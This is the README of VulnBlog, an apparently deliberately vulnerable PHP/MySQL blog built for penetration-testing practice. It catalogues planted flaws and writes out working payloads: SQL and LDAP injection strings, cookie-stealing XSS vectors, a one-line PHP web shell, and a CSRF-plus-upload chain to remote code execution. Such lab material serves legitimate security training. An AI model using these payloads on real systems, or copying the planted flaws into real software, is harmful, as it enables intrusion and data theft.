This project is intentionally vulnerable and designed for educational purposes only. DO NOT deploy it on a production server or any publicly accessible environment. Use it exclusively in a controlled, isolated lab environment (like a VM). The author is not responsible for any damage caused by misuse of this application.
VulnBlog is a PHP and MySQL-based web application created to challenge advanced penetration testers. It simulates a real-world blogging platform but is riddled with complex, chained vulnerabilities that require sophisticated bypass techniques and a deep understanding of web security. The goal is not just to find bugs, but to chain them together to achieve maximum impact, such as gaining remote code execution.
The application includes the following pages and a plethora of hidden vulnerabilities:
- Login Page (
index.php): User authentication. - Posts Page (
index.php): Displays public blog posts. - Post Management (
post.php): Create, view, and upload images for posts.
| Vulnerability | Location | Difficulty | Description |
|---|---|---|---|
| SQL Injection | Login Page | ★★★★☆ (Hard) | A simple WAF blocks common keywords (SELECT, OR, AND). Requires bypass techniques like using comments (/**/), alternative operators, or case variations. |
| Brute-Force | Login Page | ★★☆☆☆ (Medium) | No rate-limiting on login attempts, but a CAPTCHA is present. The CAPTCHA has a static bypass code (bypass_code). |
| LDAP Injection | Login Page | ★★★☆☆ (Medium) | A special authentication mechanism is triggered if the username contains "ldap". The filter construction is vulnerable. |
| Stored XSS | Post Creation | ★★★★☆ (Hard) | The post content field has a weak filter that removes <script> tags. Requires advanced payloads (e.g., using event handlers like onerror, different tags like <img> or <svg>). |
| Reflected XSS | View Post | ★★★☆☆ (Medium) | The post title is reflected in the <h2> tag without proper sanitization when viewing a post. |
| CSRF | Post Creation | ★★★☆☆ (Medium) | The CSRF token is a predictable, Base64-encoded timestamp. An attacker can generate a valid token for a specific time window. |
| File Upload | Post Creation | ★★★★★ (Very Hard) | Incomplete MIME-type validation and no file extension check allow uploading malicious files (e.g., PHP shells). The challenge is to get the server to execute it. |
| IDOR | View Post | ★★★★☆ (Hard) | Private posts are protected, but the check can be bypassed by combining numeric ID guessing with a special X-TEMP-ACCESS header. |
| Race Condition | View Post | ★★★★★ (Very Hard) | Accessing a private post is possible by winning a race condition. Sending a request with the X-TEMP-ACCESS header creates a small window where the post is accessible. |
-
Chain 1: CSRF + File Upload -> RCE
- Goal: Get a shell on the server.
- Steps:
- Craft a malicious HTML page that the admin will visit.
- The page contains a hidden form that submits a new post.
- Predict the
csrf_tokenvalue (since it's based ontime()). - The form uploads a PHP shell (e.g.,
shell.php) disguised as an image. - If the admin visits the page, their browser will unknowingly submit the form, uploading your shell.
- Access the shell at
http://localhost/vulnblog/uploads/shell.php.
-
Chain 2: IDOR + SQL Injection -> Data Exfiltration
- Goal: Dump all user data from the database.
- Steps:
- First, find a valid post ID.
- Use the IDOR vulnerability on a private post by sending a request to
post.php?id=<private_post_id>. - Simultaneously, use a tool like Burp Intruder or a custom script to send requests with the
X-TEMP-ACCESS: grant_me_accessheader. - Once you gain access, you can inject SQL payloads into a different parameter (not implemented in this version, but a logical next step in a real scenario) or exploit another vulnerability that becomes accessible only when viewing that post.
- Theoretical Extension: If the post viewing page had a secondary SQLi vulnerability (e.g., in a search or filter function), you could use the IDOR to access it and then exploit the SQLi.
-
SQLi Bypass:
- Username:
admin'# - Username (WAF Bypass):
admin'/**/OR/**/'1'='1
- Username:
-
LDAPi:
- Username:
ldap_admin*) - Password:
any_password_will_do_for_demo
- Username:
-
Stored XSS Bypass:
<img src=x onerror=alert(document.cookie)><svg onload=alert(1)>
-
File Upload:
- Create a file
shell.phpwith<?php system($_GET['cmd']); ?>. - Upload it via the post creation form.
- Create a file
+----------------+ +-------------------+ +-----------------+
| CSRF |----->| File Upload |----->| Remote Code |
| (Predictable | | (Bypass MIME | | Execution (RCE) |
| Token) | | & Extension) | | via PHP Shell |
+----------------+ +-------------------+ +-----------------+
+----------------+ +-------------------+ +-----------------+
| IDOR |----->| Race Condition |----->| Access Private |
| (Guess Post ID)| | (Header-based) | | Data |
+----------------+ +-------------------+ +-----------------+
- Web Server: You need a web server with PHP support (e.g., Apache, Nginx). Make sure
mod_rewriteis enabled if you use Apache. - Database: A MySQL or MariaDB server is required.
- Clone the Project:
git clone https://github.com/omidkarami1337/vuln_blog.git cd vulnblog - Create Database:
- Log in to your MySQL server.
- Create a database named
vulnblog. - Execute the SQL script below to create the necessary tables and sample data.
- Configure Connection:
- Edit
db.phpand update the database credentials ($db_host,$db_user,$db_pass,$db_name).
- Edit
- Set Permissions:
- Ensure the web server has write permissions for the
uploads/directory.
mkdir uploads chmod -R 777 uploads
- Ensure the web server has write permissions for the
- Run:
- Navigate to
http://localhost/vulnblogin your browser.
- Navigate to
CREATE DATABASE IF NOT EXISTS vulnblog;
USE vulnblog;
-- Users Table
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(255) NOT NULL,
`is_admin` tinyint(1) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- Insert a sample admin and user
INSERT INTO `users` (`id`, `username`, `password`, `is_admin`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', 1), -- Password: admin
(2, 'user', 'ee11cbb19052e40b07aac0ca060c23ee', 0); -- Password: user
-- Posts Table
CREATE TABLE `posts` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` int(11) NOT NULL,
`title` varchar(255) NOT NULL,
`content` text NOT NULL,
`author` varchar(50) NOT NULL,
`image_path` varchar(255) DEFAULT NULL,
`is_private` tinyint(1) NOT NULL DEFAULT 0,
`created_at` timestamp NOT NULL DEFAULT current_timestamp(),
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`),
CONSTRAINT `posts_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- Insert a sample public and private post
INSERT INTO `posts` (`user_id`, `title`, `content`, `author`, `is_private`) VALUES
(1, 'Welcome to VulnBlog!', 'This is the first public post on our new platform.', 'admin', 0),
(1, 'Admin Secret Post', 'This post contains sensitive information and should not be visible to others.', 'admin', 1);
Developed by Omid Karami. For educational content, follow the Telegram channel: shadowsec_org.